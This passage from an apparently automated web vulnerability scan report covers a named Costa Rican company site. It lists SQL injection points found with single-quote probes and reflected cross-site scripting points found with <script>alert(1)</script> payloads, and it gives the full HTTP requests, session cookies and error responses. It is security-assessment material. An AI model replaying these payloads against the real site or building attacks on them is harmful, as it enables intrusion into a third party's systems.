<tr>
<th>Fecha de entrega</th> 
<th>Hora</th> 
<th>Sala de Entrega</th>
<th>Vendedor</th>
<th>Numero del inventari
...[SNIP]...
1.8. http://www.grupoq.co.cr/qrm/agenda.php [id parameter] 
Previous  Next 
1.53 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/qrm/agenda.php


1.54 Issue detail
The id parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the id parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL. 

1.55 Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. 
1.56 Request 1
GET /qrm/agenda.php?&id=1' HTTP/1.1
Host: www.grupoq.co.cr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://www.grupoq.co.cr/qrm/agenda.php
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

1.57 Response 1
HTTP/1.1 200 OK
Date: Mon, 12 Dec 2016 06:49:36 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 5931
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</script>Error en sentencia SQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') >
...[SNIP]...
1.58 Request 2
GET /qrm/agenda.php?&id=1'' HTTP/1.1
Host: www.grupoq.co.cr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://www.grupoq.co.cr/qrm/agenda.php
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

1.59 Response 2
HTTP/1.1 200 OK
Date: Mon, 12 Dec 2016 06:49:36 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Connection: close
Content-Type: text/html
Content-Length: 9866

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
1.9. http://www.grupoq.co.cr/qrm/index.php [c_alistamiento parameter] 
Previous  Next 
1.60 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/qrm/index.php


1.61 Issue detail
The c_alistamiento parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the c_alistamiento parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL. 

1.62 Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. 
1.63 Request 1
GET /qrm/index.php?action=cda_json_week_calendar&id=&c_alistamiento=undefined'&flw=on&agenda=undefined&start=1481493600&end=1482098400 HTTP/1.1
Host: www.grupoq.co.cr
Accept: application/json, text/javascript, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Referer: http://www.grupoq.co.cr/qrm/agenda.php
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

1.64 Response 1
HTTP/1.1 200 OK
Date: Mon, 12 Dec 2016 06:55:49 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 199
Connection: close
Content-Type: text/html

Error en sentencia SQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2016-12-11' AND '2016-12-18'' at line 14

1.65 Request 2
GET /qrm/index.php?action=cda_json_week_calendar&id=&c_alistamiento=undefined''&flw=on&agenda=undefined&start=1481493600&end=1482098400 HTTP/1.1
Host: www.grupoq.co.cr
Accept: application/json, text/javascript, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Referer: http://www.grupoq.co.cr/qrm/agenda.php
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

1.66 Response 2
HTTP/1.1 200 OK
Date: Mon, 12 Dec 2016 06:55:49 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 9
Connection: close
Content-Type: text/html

"no_data"

1.10. http://www.grupoq.co.cr/qrm/index.php [id parameter] 
Previous  Next 
1.67 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/qrm/index.php


1.68 Issue detail
The id parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the id parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL. 

1.69 Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. 
1.70 Request 1
GET /qrm/index.php?action=cda_json_week_calendar&id='&c_alistamiento=undefined&flw=on&agenda=undefined&start=1481493600&end=1482098400 HTTP/1.1
Host: www.grupoq.co.cr
Accept: application/json, text/javascript, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Referer: http://www.grupoq.co.cr/qrm/agenda.php
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

1.71 Response 1
HTTP/1.1 200 OK
Date: Mon, 12 Dec 2016 06:48:15 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 251
Connection: close
Content-Type: text/html

Error en sentencia SQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2016-12-11' AND '2016-12-18' AND ssa_centro_alistamiento.id_ssa_centro_alistami' at line 14

1.72 Request 2
GET /qrm/index.php?action=cda_json_week_calendar&id=''&c_alistamiento=undefined&flw=on&agenda=undefined&start=1481493600&end=1482098400 HTTP/1.1
Host: www.grupoq.co.cr
Accept: application/json, text/javascript, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Referer: http://www.grupoq.co.cr/qrm/agenda.php
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

1.73 Response 2
HTTP/1.1 200 OK
Date: Mon, 12 Dec 2016 06:48:18 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 9
Connection: close
Content-Type: text/html

"no_data"

1.11. http://www.grupoq.co.cr/qrm/index.php [id parameter] 
Previous  Next 
1.74 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/qrm/index.php


1.75 Issue detail
The id parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the id parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL. 

1.76 Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. 
1.77 Request 1
POST /qrm/index.php?action=cda_form_evento&flw=1 HTTP/1.1
Host: www.grupoq.co.cr
Content-Length: 43
Accept: text/html, */*
Origin: http://www.grupoq.co.cr
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.grupoq.co.cr/qrm/agenda.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

id=76165'&inventario=0002360776&procedencia=

1.78 Response 1
HTTP/1.1 200 OK
Date: Mon, 12 Dec 2016 06:55:56 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 179
Connection: close
Content-Type: text/html

Error en sentencia SQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''76165''' at line 13

1.79 Request 2
POST /qrm/index.php?action=cda_form_evento&flw=1 HTTP/1.1
Host: www.grupoq.co.cr
Content-Length: 43
Accept: text/html, */*
Origin: http://www.grupoq.co.cr
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.grupoq.co.cr/qrm/agenda.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

id=76165''&inventario=0002360776&procedencia=

1.80 Response 2
HTTP/1.1 200 OK
Date: Mon, 12 Dec 2016 06:55:56 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 2272
Connection: close
Content-Type: text/html

<form name="formulario" id="formulario" action="index.php?action=citas_cda&flw=1" enctype="multipart/form-data">
<input type="hidden" id="quita_boton" value="Marcar el vehiculo como listo" />
<inp
...[SNIP]...
2. Cross-site scripting (reflected) 
Previous  Next 

There are 13 instances of this issue: 
· /livehelp/offline.php [COOKIE parameter]
· /livehelp/reportes/ [calendar parameter]
· /livehelp/reportes/ [calendar parameter]
· /livehelp/reportes/ [calendar2 parameter]
· /livehelp/reportes/ [calendar2 parameter]
· /livehelp/reportes/index.php [calendar parameter]
· /livehelp/reportes/index.php [calendar parameter]
· /livehelp/reportes/index.php [calendar2 parameter]
· /livehelp/reportes/index.php [calendar2 parameter]
· /qrm/agenda.php [id parameter]
· /qrm/index.php [inventario parameter]
· /qrm/pos.php [name of an arbitrarily supplied body parameter]
· /qrm/pos.php [numero_tarjeta parameter]
1.81 Issue background
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request that, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site that causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality that it contains, and the other applications that belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain that can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization that owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application and exploiting users' trust in the organization in order to capture credentials for other applications that it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk. 

1.82 Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
· Input should be validated as strictly as possible on arrival, given the kind of content that it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.

· User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (&lt; &gt; etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.83 References
· Using Burp to Find XSS issues
2.1. http://www.grupoq.co.cr/livehelp/offline.php [COOKIE parameter] 
Previous  Next 

1.84 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/livehelp/offline.php


1.85 Issue detail
The value of the COOKIE request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload n4ilz"><script>alert(1)</script>w4wlxlv271s was submitted in the COOKIE parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack. 

1.86 Request 1
GET /livehelp/offline.php?LANGUAGE=en&COMPLETE=1&BCC=on&COOKIE=n4ilz"><script>alert(1)<%2fscript>w4wlxlv271s&SECURITY=555-555-0199@example.com&Submit=Enviar+Mensaje&EMAIL=winter@example.com&NAME=Peter+Winter HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/offline.php?LANGUAGE=en
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

1.87 Response 1
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 08:18:31 GMT
Server: Apache
X-Powered-By: PleskLin
Content-Length: 5270
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>WebChat Repuestos</title>
<link href="styles/styles.p
...[SNIP]...
<input name="COOKIE" type="hidden" id="COOKIE" value="n4ilz"><script>alert(1)</script>w4wlxlv271s"/>
...[SNIP]...
2.2. http://www.grupoq.co.cr/livehelp/reportes/ [calendar parameter] 
Previous  Next 
1.88 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/livehelp/reportes/


1.89 Issue detail
The value of the calendar request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ggpjx"><script>alert(1)</script>uutfx was submitted in the calendar parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. 

1.90 Request 1
POST /livehelp/reportes/?action=total_encuestas HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/?action=total_encuestas
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

calendar=2016-12-04ggpjx"><script>alert(1)<%2fscript>uutfx&calendar2=2016-12-11

1.91 Response 1
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:06:44 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 5959
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" conte
...[SNIP]...
<input type="text" name="calendar" id="calendar" value="2016-12-04ggpjx"><script>alert(1)</script>uutfx" size="10" onchange="fechaConsulta()" />
...[SNIP]...
2.3. http://www.grupoq.co.cr/livehelp/reportes/ [calendar parameter] 
Previous  Next 
1.92 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/livehelp/reportes/


1.93 Issue detail
The value of the calendar request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cv4kf"><script>alert(1)</script>nl6n7 was submitted in the calendar parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. 

1.94 Request 1
POST /livehelp/reportes/?action=total_encuestas HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/?action=total_encuestas
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

calendar=cv4kf"><script>alert(1)<%2fscript>nl6n7&calendar2=2016-12-11

1.95 Response 1
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:06:48 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 5939
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" conte
...[SNIP]...
<a href="index.php?action=excel_total_encuestas&desde=cv4kf"><script>alert(1)</script>nl6n7&hasta=2016-12-11">
...[SNIP]...
2.4. http://www.grupoq.co.cr/livehelp/reportes/ [calendar2 parameter] 
Previous  Next 
1.96 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/livehelp/reportes/


1.97 Issue detail
The value of the calendar2 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload df6zq"><script>alert(1)</script>e0jth was submitted in the calendar2 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. 

1.98 Request 1
POST /livehelp/reportes/?action=total_encuestas HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/?action=total_encuestas
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

calendar=2016-12-04&calendar2=2016-12-11df6zq"><script>alert(1)<%2fscript>e0jth
1.99 Response 1
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:07:28 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 5959
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" conte
...[SNIP]...
<input type="text" name="calendar2" id="calendar2" value="2016-12-11df6zq"><script>alert(1)</script>e0jth" size="10" onchange="fechaConsulta()" />
...[SNIP]...
2.5. http://www.grupoq.co.cr/livehelp/reportes/ [calendar2 parameter] 
Previous  Next 
1.100 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/livehelp/reportes/


1.101 Issue detail
The value of the calendar2 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload pwizj"><script>alert(1)</script>iu352 was submitted in the calendar2 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. 

1.102 Request 1
POST /livehelp/reportes/?action=total_encuestas HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/?action=total_encuestas
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

calendar=2016-12-04&calendar2=pwizj"><script>alert(1)<%2fscript>iu352
1.103 Response 1
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:07:32 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 5939
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" conte
...[SNIP]...
<a href="index.php?action=excel_total_encuestas&desde=2016-12-04&hasta=pwizj"><script>alert(1)</script>iu352">
...[SNIP]...
2.6. http://www.grupoq.co.cr/livehelp/reportes/index.php [calendar parameter] 
Previous  Next 
1.104 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/livehelp/reportes/index.php


1.105 Issue detail
The value of the calendar request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload umbmn"><script>alert(1)</script>ggda2 was submitted in the calendar parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. 

1.106 Request 1
POST /livehelp/reportes/index.php?action=total_encuestas HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/index.php?action=total_encuestas
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

calendar=2016-12-04umbmn"><script>alert(1)<%2fscript>ggda2&calendar2=2016-12-11

1.107 Response 1
